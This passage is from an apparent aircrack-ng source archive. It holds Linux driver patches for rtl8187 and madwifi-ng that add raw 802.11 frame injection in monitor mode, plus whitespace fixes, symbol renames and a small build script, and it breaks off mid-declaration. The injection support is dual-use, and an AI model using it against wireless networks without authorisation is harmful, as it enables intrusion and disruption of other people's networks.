LedPin, void * BlinkCallBackFunc) @@ -157,7 +169,7 @@ void DeInitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed) { //PlatformCancelTimer(dev, &(pLed->BlinkTimer)); @@ -178,10 +190,10 @@ return; /* - if( priv->eRFPowerState != eRfOn && - (LedAction == LED_CTL_TX || LedAction == LED_CTL_RX || - LedAction == LED_CTL_SITE_SURVEY || - LedAction == LED_CTL_LINK || + if( priv->eRFPowerState != eRfOn && + (LedAction == LED_CTL_TX || LedAction == LED_CTL_RX || + LedAction == LED_CTL_SITE_SURVEY || + LedAction == LED_CTL_LINK || LedAction == LED_CTL_NO_LINK) ) { return; @@ -213,7 +225,7 @@ // -// Description: +// Description: // Implement each led action for SW_LED_MODE0. // This is default strategy. // @@ -261,7 +273,7 @@ case LED_CTL_NO_LINK: pLed->CurrLedState = LED_OFF; break; - + case LED_CTL_POWER_ON: pLed->CurrLedState = LED_POWER_ON_BLINK; break; @@ -297,10 +309,10 @@ { pLed->bLedBlinkInProgress = 1; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; - + pLed->BlinkingLedState = LED_ON; + pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); @@ -312,10 +324,10 @@ { pLed->bLedBlinkInProgress = 1; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else pLed->BlinkingLedState = LED_ON; - + pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); @@ -334,7 +346,7 @@ } // -// Description: +// Description: // Implement each led action for SW_LED_MODE1. // For example, this is applied by ALPHA. // @@ -357,9 +369,9 @@ pLed0->BlinkTimes = 2; pLed0->bLedBlinkInProgress = 1; if( pLed0->bLedOn ) - pLed0->BlinkingLedState = LED_OFF; + pLed0->BlinkingLedState = LED_OFF; else - pLed0->BlinkingLedState = LED_ON; + pLed0->BlinkingLedState = LED_ON; pLed0->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed0->BlinkTimer)); @@ -382,7 +394,7 @@ SwLedOff(dev, pLed0); } break; - + case LED_CTL_POWER_ON: pLed0->CurrLedState = LED_OFF; SwLedOff(dev, pLed0); @@ -407,7 +419,7 @@ pLed0->BlinkTimes = 10; pLed0->bLedBlinkInProgress = 1; if( pLed0->bLedOn ) - pLed0->BlinkingLedState = LED_OFF; + pLed0->BlinkingLedState = LED_OFF; else pLed0->BlinkingLedState = LED_ON; @@ -423,9 +435,9 @@ } // -// Description: -// Implement each led action for SW_LED_MODE2, -// which is customized for AzWave 8187 minicard. +// Description: +// Implement each led action for SW_LED_MODE2, +// which is customized for AzWave 8187 minicard. // 2006.04.03, by rcnjko. // void @@ -450,9 +462,9 @@ pLed->BlinkTimes = 2; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -465,7 +477,7 @@ { pLed->bLedBlinkInProgress = 1; - //if( dev->MgntInfo.mAssoc || + //if( dev->MgntInfo.mAssoc || // dev->MgntInfo.mIbss ) //{ pLed->CurrLedState = LED_SCAN_BLINK; @@ -486,7 +498,7 @@ } else { - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); @@ -498,7 +510,7 @@ { pLed->CurrLedState = LED_SCAN_BLINK; /* - if( dev->MgntInfo.mAssoc || + if( dev->MgntInfo.mAssoc || dev->MgntInfo.mIbss ) { pLed->CurrLedState = LED_SCAN_BLINK; @@ -522,14 +534,14 @@ if( pLed->bLedOn ) { - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_ON_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_ON_INTERVAL); } else { - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); @@ -564,9 +576,9 @@ // -// Description: -// Implement each led action for SW_LED_MODE3, -// which is customized for Sercomm Printer Server case. +// Description: +// Implement each led action for SW_LED_MODE3, +// which is customized for Sercomm Printer Server case. // 2006.04.21, by rcnjko. // void @@ -591,9 +603,9 @@ pLed->BlinkTimes = 2; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -610,9 +622,9 @@ pLed->BlinkTimes = 10; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -729,18 +741,21 @@ } } -// +// // Callback fucntion of the workitem for SW LEDs. // 2006.03.01, by rcnjko. // -void -Gpio0LedWorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void Gpio0LedWorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, Gpio0LedWorkItem); + struct net_device *dev = priv->dev; +#else +void Gpio0LedWorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - PLED_8187 pLed = &(priv->Gpio0Led); +#endif + PLED_8187 pLed = &(priv->Gpio0Led); if(priv->LedStrategy == SW_LED_MODE2) SwLedCm2Blink(dev, pLed); @@ -750,27 +765,31 @@ //LeaveCallbackOfRtWorkItem( &(usbdevice->Gpio0LedWorkItem) ); } -void -SwLed0WorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed0WorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, SwLed0WorkItem); + struct net_device *dev = priv->dev; +#else +void SwLed0WorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - +#endif SwLedBlink(dev, &(priv->SwLed0)); //LeaveCallbackOfRtWorkItem( &(usbdevice->SwLed0WorkItem) ); } -void -SwLed1WorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed1WorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, SwLed1WorkItem); + struct net_device *dev = priv->dev; +#else +void SwLed1WorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - +#endif SwLedBlink(dev, &(priv->SwLed1)); //LeaveCallbackOfRtWorkItem( &(usbdevice->SwLed1WorkItem) ); @@ -782,19 +801,19 @@ // void SwLedBlink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { u8 bStopBlinking = 0; // Change LED according to BlinkingLedState specified. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) { SwLedOn(dev, pLed); //DMESG("Blinktimes (%d): turn on\n", pLed->BlinkTimes); - } - else + } + else { SwLedOff(dev, pLed); //DMESG("Blinktimes (%d): turn off\n", pLed->BlinkTimes); @@ -828,40 +847,40 @@ } pLed->BlinkTimes = 0; - pLed->bLedBlinkInProgress = 0; + pLed->bLedBlinkInProgress = 0; } else { // Assign LED state to toggle. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) pLed->BlinkingLedState = LED_OFF; - else + else pLed->BlinkingLedState = LED_ON; - // Schedule a timer to toggle LED state. + // Schedule a timer to toggle LED state. switch( pLed->CurrLedState ) { case LED_BLINK_NORMAL: pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); break; case LED_BLINK_SLOWLY: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; case LED_BLINK_CM3: pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM3_BLINK_INTERVAL); break; default: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; } @@ -871,11 +890,11 @@ // -// Implementation of LED blinking behavior for SwLedControlMode2. +// Implementation of LED blinking behavior for SwLedControlMode2. // void SwLedCm2Blink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -884,12 +903,12 @@ u8 bStopBlinking = 0; // Change LED according to BlinkingLedState specified. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) { SwLedOn(dev, pLed); //DMESG("Blinktimes (%d): turn on\n", pLed->BlinkTimes); - } - else + } + else { SwLedOff(dev, pLed); //DMESG("Blinktimes (%d): turn off\n", pLed->BlinkTimes); @@ -899,13 +918,13 @@ pLed->BlinkTimes--; switch(pLed->CurrLedState) { - case LED_BLINK_NORMAL: + case LED_BLINK_NORMAL: if(pLed->BlinkTimes == 0) { bStopBlinking = 1; } break; -/* CM2 scan blink and no link blind now not be supported +/* CM2 scan blink and no link blind now not be supported case LED_SCAN_BLINK: if( (priv->mAssoc || priv->mIbss) && // Linked. (!priv->bScanInProgress) && // Not in scan stage. @@ -916,9 +935,9 @@ break; case LED_NO_LINK_BLINK: - //Revised miniCard Ad-hoc mode "Slow Blink" by Isaiah 2006-08-03 + //Revised miniCard Ad-hoc mode "Slow Blink" by Isaiah 2006-08-03 //if( (priv->mAssoc || priv->mIbss) ) // Linked. - if( priv->mAssoc) + if( priv->mAssoc) { bStopBlinking = 1; } @@ -950,28 +969,28 @@ } */ pLed->BlinkTimes = 0; - pLed->bLedBlinkInProgress = 0; + pLed->bLedBlinkInProgress = 0; } else { // Assign LED state to toggle. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) pLed->BlinkingLedState = LED_OFF; - else + else pLed->BlinkingLedState = LED_ON; - // Schedule a timer to toggle LED state. + // Schedule a timer to toggle LED state. switch( pLed->CurrLedState ) { case LED_BLINK_NORMAL: pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); break; case LED_BLINK_SLOWLY: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; @@ -979,11 +998,11 @@ case LED_NO_LINK_BLINK: if( pLed->bLedOn ) { pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_ON_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_ON_INTERVAL); } else { pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); } break; @@ -1000,7 +1019,7 @@ void SwLedOn( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -1032,7 +1051,7 @@ void SwLedOff( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -1060,5 +1079,5 @@ } pLed->bLedOn = 0; -} +} diff -Naur r8187_orig/rtl8187/r8187_led.h r8187_rawtx/rtl8187/r8187_led.h --- r8187_orig/rtl8187/r8187_led.h 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187_led.h 2007-05-16 21:51:38.000000000 +0200 @@ -7,7 +7,7 @@ Abstract: definitions and stuctures for rtl8187 led control. - + Major Change History: When Who What ---------- ------ ---------------------------------------------- @@ -127,14 +127,14 @@ void InitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed, LED_PIN_8187 LedPin, void * BlinkCallBackFunc); void DeInitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed); void @@ -188,42 +188,37 @@ PLED_8187 pLed ); -void -Gpio0LedWorkItemCallback( - void * Context - ); - -void -SwLed0WorkItemCallback( - void * Context - ); - -void -SwLed1WorkItemCallback( - void * Context - ); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed0WorkItemCallback(struct work_struct *work); +void SwLed1WorkItemCallback(struct work_struct *work); +void Gpio0LedWorkItemCallback(struct work_struct *work); +#else +void SwLed0WorkItemCallback(struct net_device *dev); +void SwLed1WorkItemCallback(struct net_device *dev); +void Gpio0LedWorkItemCallback(struct net_device *dev); +#endif void SwLedBlink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedCm2Blink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedOn( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); void SwLedOff( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ); diff -Naur r8187_orig/symvers r8187_rawtx/symvers --- r8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ r8187_rawtx/symvers 2007-05-13 09:54:44.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd rtl8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. \ Kein Zeilenumbruch am Dateiende. aircrack-ng-1.1/patches/old/madwifi-ng-r1679.patch0000644000000000000000000000175710761053203020277 0ustar rootrootdiff -ur madwifi-ng-r1679/ath/if_ath.c patched_madwifi-ng-r1545/ath/if_ath.c --- madwifi-ng-r1679/ath/if_ath.c 2006-07-04 12:23:35.000000000 +0200 +++ patched_madwifi-ng-r1679/ath/if_ath.c 2006-07-08 02:38:59.000000000 +0200 @@ -2248,6 +2248,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2264,7 +2265,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/rtl8187_2.6.21v4.patch0000644000000000000000000120133210761053203017670 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-06-21 23:44:38.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-06-21 23:44:38.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void 